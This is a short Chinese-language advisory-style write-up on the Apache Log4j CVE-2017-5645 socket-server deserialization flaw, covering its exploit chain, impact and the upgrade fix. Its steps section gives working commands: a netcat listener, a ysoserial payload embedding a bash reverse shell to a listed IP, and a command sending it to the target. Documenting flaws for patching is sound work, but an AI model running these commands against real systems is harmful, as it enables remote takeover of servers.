CVSS评分:9.8(严重)
CVE-2017-5645_ Apache Log4j Server 反序列化命令执行漏洞
- [1. 漏洞原理](#1. 漏洞原理)
- [2. 漏洞危害](#2. 漏洞危害)
- [3. 漏洞修复](#3. 漏洞修复)
1. 漏洞原理
Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。Apache Log4j 2.8.2之前的2.x版本中存在代码问题漏洞。攻击者可利用该漏洞执行任意代码。
漏洞利用链:
plain
攻击者
↓
TCP / UDP 发送恶意序列化对象
↓
Log4j SocketServer
↓
ObjectInputStream.readObject()
↓
Gadget chain
↓
任意代码执行
攻击者需要满足条件:
- 目标服务器开启并监听 Log4j Socket Server(TCP 或 UDP)端口
- 可以向服务器发送任意数据包
具体利用路径概括如下:
- 攻击者构造特制的 Java 序列化对象字节流,包含恶意链
- 通过网络向 Log4j 的 socket 端口发送该 payload
- Log4j 接收到数据后反序列化该对象
- 恶意对象触发执行攻击者指定的系统命令
step:
1、nc 监听本地
bash
nc -lvnp 9001
2、生成恶意payload
bash
java -jar ysoserial.jar CommonsCollections5 "sh -i >& /dev/tcp/172.30.22.210/9001 0>&1" > payload.bin
3、发送,反弹shell
bash
nc 172.xxx.xxx.xxx 5007 < payload.bin
2. 漏洞危害
微步标记为高风险,重点两高一弱漏洞:

该漏洞可导致直接RCE,尽快修复
3. 漏洞修复
- 升级到 Apache Log4j 2.8.2 或以上 版本